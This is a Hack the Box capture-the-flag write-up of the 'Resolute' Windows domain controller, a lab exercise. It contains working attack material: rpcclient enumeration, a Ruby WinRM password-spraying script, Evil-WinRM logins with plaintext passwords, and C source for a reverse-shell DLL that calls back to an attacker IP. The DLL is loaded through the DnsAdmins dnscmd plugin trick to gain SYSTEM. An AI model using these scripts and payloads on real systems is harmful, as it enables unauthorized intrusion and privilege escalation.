Hack the Box: Resolute#

Resolute was a medium difficulty box on Hack the Box. Here’s my take on solving the challenge.

Resolute

Resolute

TL;DR: RpcClient querydispinfo reveals a password that can be sprayed on the listed users. It allows to get a remote powershell through Windows Remote Managment. The access can be used to find Powershell history file that reveals credentials to user Ryan. This user is a member of DnsAdmins group. It allows to configure DNS server to load an arbitrary DLL. It can be exploited to run the revese shell DLL with SYSTEM privleges.

User#

Nmap scan reveals an AD server:

# nmap -sS -sV -n resolute.htb -p-
-- snip --
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-09 23:27:07Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49688/tcp open  msrpc        Microsoft Windows RPC
49910/tcp open  msrpc        Microsoft Windows RPC
51948/tcp open  tcpwrapped
-- snip --

Rpcclient reveals a bunch of users and a password Welcome123! for Marko:

# rpcclient -c querydispinfo -U''%'' 'resolute.htb'
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail	Name: (null)	Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator	Name: (null)	Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela	Name: (null)	Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette	Name: (null)	Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika	Name: (null)	Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire	Name: (null)	Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude	Name: (null)	Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount	Name: (null)	Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia	Name: (null)	Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred	Name: (null)	Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo	Name: (null)	Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus	Name: (null)	Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko	Name: Marko Novak	Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie	Name: (null)	Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki	Name: (null)	Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo	Name: (null)	Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per	Name: (null)	Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan	Name: Ryan Bertrand	Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally	Name: (null)	Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon	Name: (null)	Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve	Name: (null)	Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie	Name: (null)	Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita	Name: (null)	Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf	Name: (null)	Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach	Name: (null)	Desc: (null)

Unfortunately for attacker the password doesn’t work for user Marko. The following script allows to test this password with other revealed logins:

require 'winrm'

usernames=['abigail', 'Administrator', 'angela', 'annette', 'annika', 'claire', 'claude','felicia','fred','gustavo','marcus','marko','melanie','naoki','paulo','per','ryan','sally','simon','steve','stevie','sunita','ulf','zach']
passwords=['Welcome123!']

usernames.each do |username|
	passwords.each do |password|
		begin
			conn = WinRM::Connection.new(
				endpoint: 'http://10.10.10.169:5985/wsman',
				user: username,
				password: password,
			)
			conn.shell(:powershell) do |shell|
				shell.run('whoami') do |stdout, stderr|
					STDOUT.print stdout
					STDERR.print stderr
				end
			end
			puts "#{username}:#{password} succeded"
		rescue Exception => ex
			puts "#{username}:#{password} failed"
		end
	end
end

Running above script reveals that password works for melanie:

# ruby spray_pass.rb 
abigail:Welcome123! failed
Administrator:Welcome123! failed
-- snip --
megabank\melanie
melanie:Welcome123! succeded
-- snip --

Now it’s possilbe to use EvilWinRM client to gain shell on the victim and grab the user flag:

# ruby evil-winrm/evil-winrm.rb -i resolute.htb -u melanie
Enter Password: Welcome123!
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> whoami
megabank\melanie

*Evil-WinRM* PS C:\Users\melanie\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
0c3...

Privlege escalation#

Gaining SYSTEM privleges can be divided in two stages. First, it’s needed to move lateraly to Ryan user. Then escalate that access to SYSTEM.

Ryan user#

Listing content of C: root reveals an interesting hidden folder PSTranscripts:

*Evil-WinRM* PS C:\> dir -force
Directory: C:\

Mode                LastWriteTime         Length Name                                                                                                                                                                                                    
----                -------------         ------ ----                                                                                                                                                                                                    
d--hs-        12/3/2019   6:40 AM                $RECYCLE.BIN                                                                                                                                                                                            
d--hsl        9/25/2019  10:17 AM                Documents and Settings                                                                                                                                                                                  
d-----        9/25/2019   6:19 AM                PerfLogs                                                                                                                                                                                                
d-r---        9/25/2019  12:39 PM                Program Files                                                                                                                                                                                           
d-----       11/20/2016   6:36 PM                Program Files (x86)                                                                                                                                                                                     
d--h--        9/25/2019  10:48 AM                ProgramData                                                                                                                                                                                             
d--h--        12/3/2019   6:32 AM                PSTranscripts                                                                                                                                                                                           
d--hs-        9/25/2019  10:17 AM                Recovery                                                                                                                                                                                                
d--hs-        9/25/2019   6:25 AM                System Volume Information                                                                                                                                                                               
d-r---        12/4/2019   2:46 AM                Users                                                                                                                                                                                                   
d-----        12/4/2019   5:15 AM                Windows                                                                                                                                                                                                 
-arhs-       11/20/2016   5:59 PM         389408 bootmgr                                                                                                                                                                                                 
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT                                                                                                                                                                                                 
-a-hs-       12/13/2019   7:14 AM      402653184 pagefile.sys
*Evil-WinRM* PS C:\> dir -force
Directory: C:\

Inside there’s a text file that contains a PS commandsd log. The commands reveal Ryan users log:

*Evil-WinRM* PS C:\Pstranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

With that knowledge it’s possible to authorize as ryan to the victim:

# ruby evil-winrm/evil-winrm.rb -i resolute.htb -u ryan
Enter Password: Serv3r4Admin4cc123!
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan
# ruby evil-winrm/evil-winrm.rb -i resolute.htb -u ryan
Enter Password:
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint

SYSTEM privleges#

Ryan user is a member o a group DnsAdmins:

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes                                                     
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group             
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group             
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group             
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group             
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group             
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group             
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192          

That means that DNS service can be exploited to load an arbitrary DLL. The following code should return a revese shell to attackers machine:

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

#define REVERSEIP "10.10.14.70"
#define REVERSEPORT 443

WSADATA wsaData;
SOCKET Winsock; 
SOCKET Sock;    
struct sockaddr_in hax;

STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	 switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    {
		printf("PROCESS_ATTACH");
	    WSAStartup(MAKEWORD(2,2), &wsaData);
		Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
	
		hax.sin_family = AF_INET;                                                                     
		hax.sin_port =  htons(REVERSEPORT);
		hax.sin_addr.s_addr = inet_addr(REVERSEIP);                                                     
	
		WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
	
		memset(&ini_processo,0,sizeof(ini_processo));
		ini_processo.cb=sizeof(ini_processo);        
		ini_processo.dwFlags=STARTF_USESTDHANDLES;   
		ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
		char cmdline[] = "cmd.exe";																				
		CreateProcess(NULL,cmdline,NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
		break;
	}
    case DLL_THREAD_ATTACH:
		printf("DLL_THREAD_ATTACH");
		break;
    case DLL_THREAD_DETACH:
		printf("DLL_THREAD_DETACH");
		break;
    case DLL_PROCESS_DETACH:
		printf("DLL_PROCESS_DETACH");
		break;
    }
    return TRUE;
}

Before compiling it’s good to determine the CPU architecture on the victim:

*Evil-WinRM* PS C:\Users\ryan\Documents> [Environment]::Is64BitOperatingSystem
True

Above code can be cross compiled for 64-bit Windows on Linux machine using commands:

# x86_64-w64-mingw32-g++ -c shell.c
# x86_64-w64-mingw32-g++ -shared shell.o -o shell.dll -l ws2_32

Now, the built dll can be served through HTTP on attackers machine. On the victim it can be downloaded and injected to the DNS service:

*Evil-WinRM* PS C:\Users\ryan\Documents> wget 10.10.14.70/shell.dll -o shell.dll
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd /config /serverlevelplugindll "C:\Users\ryan\Documents\shell.dll"

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns
SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
        
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe start dns
SERVICE_NAME: dns 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 2656
        FLAGS              : 

If everything went well the attacker’s machine should receive a reverse shell with SYSTEM privleges:

# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.10.169] 61774
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
e1d...